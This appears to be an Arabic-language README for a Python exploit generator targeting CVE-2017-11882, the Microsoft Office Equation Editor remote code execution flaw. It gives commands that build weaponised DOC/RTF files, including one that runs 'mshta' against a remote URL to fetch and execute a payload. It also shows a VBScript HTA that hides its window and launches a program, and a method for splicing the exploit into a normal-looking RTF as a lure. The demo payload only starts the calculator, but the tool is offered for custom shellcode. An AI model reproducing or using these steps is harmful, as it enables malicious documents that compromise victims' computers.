
مولّد استغلال مبني على Python لـ CVE-2017-11882 (تنفيذ التعليمات البرمجية عن بُعد في محرر المعادلات في Microsoft Office) مع دعم لـ shellcode مخصص وحمولات mshta عبر ملفات RTF/DOC.
النص الأصلي 43b من https://github.com/embedi/CVE-2017-11882
النص الأصلي 109b من https://github.com/unamer/CVE-2017-11882/ (تحية، الآن كود unamer يمكنه تنفيذ shellcode ~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
بحث: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
تحليل التصحيح: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
عرض توضيحي لاستغلال الثغرة PoC: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
استخدام mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
طول الأمر لـ 43b لا يمكن أن يتجاوز 43 بايت، طول الأمر لـ 109b لا يمكن أن يتجاوز 109 بايت
يحتوي مجلد example على ملف rtf يستغل ثغرة CVE-2017-11882 ويشغل الآلة الحاسبة في النظام.
في الواقع، تعلمت طريقة المحتوى المخصص من أسياد آخرين، وكتبتها كسكريبت منذ فترة طويلة. لم أكن أنوي نشرها، ولكن بما أن أحد أعضاء الفريق قد نشرها بالفعل، لم يكن لدي خيار سوى نشرها. الطريقة بسيطة، فقط افتح مستند rtf طبيعي باستخدام محرر نصوص، وانسخ كل المحتوى قبل {\*\datastore، ثم استبدل المحتوى قبل {\object\objautlink\objupdate. بهذه الطريقة يصبح الأمر سهلاً في السكريبت.
طريقة استخدام المحتوى المخصص، اختر أي سكريبت:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
المحتوى المخصص يكون في ملف input.rtf.
أما بالنسبة لأحدث سكريبت استغلال لـ unamer بحجم 605 بايت، فلن أقوم بتحديثه، يمكنك تعديله بنفسك إذا كنت مهتماً.